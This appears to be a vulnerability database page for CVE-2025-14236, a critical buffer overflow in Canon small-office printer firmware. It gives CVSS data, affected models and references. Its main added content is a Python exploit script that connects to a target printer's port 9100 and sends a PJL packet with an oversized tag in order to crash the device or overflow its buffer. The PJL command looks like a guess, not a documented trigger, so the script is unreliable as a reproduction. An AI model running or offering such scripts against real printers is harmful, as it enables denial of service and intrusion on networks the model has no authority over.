CVE-2025-14236

Description

Buffer overflow in Address Book attribute tag processing on Small Office Multifunction Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf453dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf452dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf452dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf451dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf451dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf654cdw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf654cdw:-:*:*:*:*:*:*:* - NOT VULNERABLE

Satera LBP670C Series 固件 v06.02 及更早版本（日本）

Satera MF750C Series 固件 v06.02 及更早版本（日本）

Color imageCLASS LBP630C Series 固件 v06.02 及更早版本（美国）

Color imageCLASS MF650C Series 固件 v06.02 及更早版本（美国）

imageCLASS LBP230 Series 固件 v06.02 及更早版本（美国）

imageCLASS X LBP1238 II 固件 v06.02 及更早版本（美国）

imageCLASS MF450 Series 固件 v06.02 及更早版本（美国）

imageCLASS X MF1238 II 固件 v06.02 及更早版本（美国）

imageCLASS X MF1643i II 固件 v06.02 及更早版本（美国）

imageCLASS X MF1643iF II 固件 v06.02 及更早版本（美国）

i-SENSYS LBP630C Series 固件 v06.02 及更早版本（欧洲）

i-SENSYS MF650C Series 固件 v06.02 及更早版本（欧洲）

i-SENSYS LBP230 Series 固件 v06.02 及更早版本（欧洲）

i-SENSYS 1238P II 固件 v06.02 及更早版本（欧洲）

i-SENSYS 1238Pr II 固件 v06.02 及更早版本（欧洲）

i-SENSYS MF450 Series 固件 v06.02 及更早版本（欧洲）

i-SENSYS MF550 Series 固件 v06.02 及更早版本（欧洲）

i-SENSYS 1238i II 固件 v06.02 及更早版本（欧洲）

i-SENSYS 1238iF II 固件 v06.02 及更早版本（欧洲）

imageRUNNER 1643i II 固件 v06.02 及更早版本（欧洲）

imageRUNNER 1643iF II 固件 v06.02 及更早版本（欧洲）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-14236 PoC - Canon Printer Buffer Overflow in Address Book Attribute Tag
# This PoC demonstrates sending a malformed packet to trigger the buffer overflow
# Use for authorized security testing only

import socket
import struct
import sys

def create_malicious_packet():
    """Create a malicious packet with oversized attribute tag"""
    # Printer service port (commonly 9100 for JetDirect)
    port = 9100
    
    # Construct attribute tag with overflow payload
    # The overflow occurs when attribute tag exceeds expected buffer size
    overflow_length = 1024  # Arbitrary length to overflow buffer
    malicious_tag = b'A' * overflow_length + b'\x00'
    
    # Construct the malicious data packet
    # Protocol: PJL (Printer Job Language) based attack
    packet = b'\x1b%-12345X@PJL SET ADDRESSBOOK ATTRIBUTE TAG='
    packet += malicious_tag
    packet += b'\r\n\x1b%-12345X'
    
    return packet

def exploit_cve_2025_14236(target_ip, target_port=9100):
    """
    Exploit function for CVE-2025-14236
    
    Args:
        target_ip: Target printer IP address
        target_port: Target printer port (default: 9100)
    
    Returns:
        bool: True if packet sent successfully
    """
    try:
        print(f"[*] Target: {target_ip}:{target_port}")
        print(f"[*] Generating malicious packet for CVE-2025-14236...")
        
        # Create malicious packet
        packet = create_malicious_packet()
        print(f"[*] Packet size: {len(packet)} bytes")
        print(f"[*] Malicious attribute tag length: {len(packet) - 50} bytes")
        
        # Connect and send malicious packet
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        
        print(f"[*] Sending malicious packet...")
        sock.send(packet)
        
        # Check for response (device may become unresponsive)
        try:
            response = sock.recv(1024)
            print(f"[+] Received response: {response[:100]}")
        except socket.timeout:
            print("[!] No response received - device may be unresponsive")
        
        sock.close()
        return True
        
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-14236.py <target_ip> [port]")
        print("Example: python cve-2025-14236.py 192.168.1.100 9100")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9100
    
    print("=" * 60)
    print("CVE-2025-14236 - Canon Printer Buffer Overflow PoC")
    print("=" * 60)
    
    exploit_cve_2025_14236(target, port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14236
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14236
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14236/
[4] VulDB https://vuldb.com/cve/CVE-2025-14236
[5] https://canon.jp/support/support-info/260115vulnerability-response
[6] https://psirt.canon/advisory-information/cp2026-001/
[7] https://www.canon-europe.com/support/product-security/
[8] https://www.usa.canon.com/support/canon-product-advisories/Service-Notice-Regarding-Remediation-Measure-Against-Potential-Buffer-Overflow-Vulnerability-in-Laser-Printers-and-Small-Office-Multifunctional-Printers

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14236", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-01-16T00:16:28.093", "lastModified": "2026-01-26T15:11:28.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow in Address Book attribute tag processing on Small Office Multifunction Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe."}, {"lang": "es", "value": "Desbordamiento de búfer en el procesamiento de etiquetas de atributos de la Libreta de Direcciones en Impresoras Multifunción para Pequeñas Oficinas(*) lo que puede permitir a un atacante en el segmento de red activar que el producto afectado no responda o ejecutar código arbitrario. *: firmware v06.02 y anteriores de la Serie Satera LBP670C/Serie Satera MF750C vendidos en Japón. firmware v06.02 y anteriores de la Serie Color imageCLASS LBP630C/Serie Color imageCLASS MF650C/Serie imageCLASS LBP230/imageCLASS X LBP1238 II/Serie imageCLASS MF450/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II vendidos en EE. UU. firmware v06.02 y anteriores de la Serie i-SENSYS LBP630C/Serie i-SENSYS MF650C/Serie i-SENSYS LBP230/1238P II/1238Pr II/Serie i-SENSYS MF450/Serie i-SENSYS MF550/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II vendidos en Europa."}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "E97C016E-CE05-4F54-B4F6-CB44451E7025"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:*", "matchCriteriaId": "376C5E10-0D6C-405D-BC63-BDE7257A8142"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "A65134F0-B34B-42BF-B0DD-3ED5DFB0EB08"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "cri

... (truncated)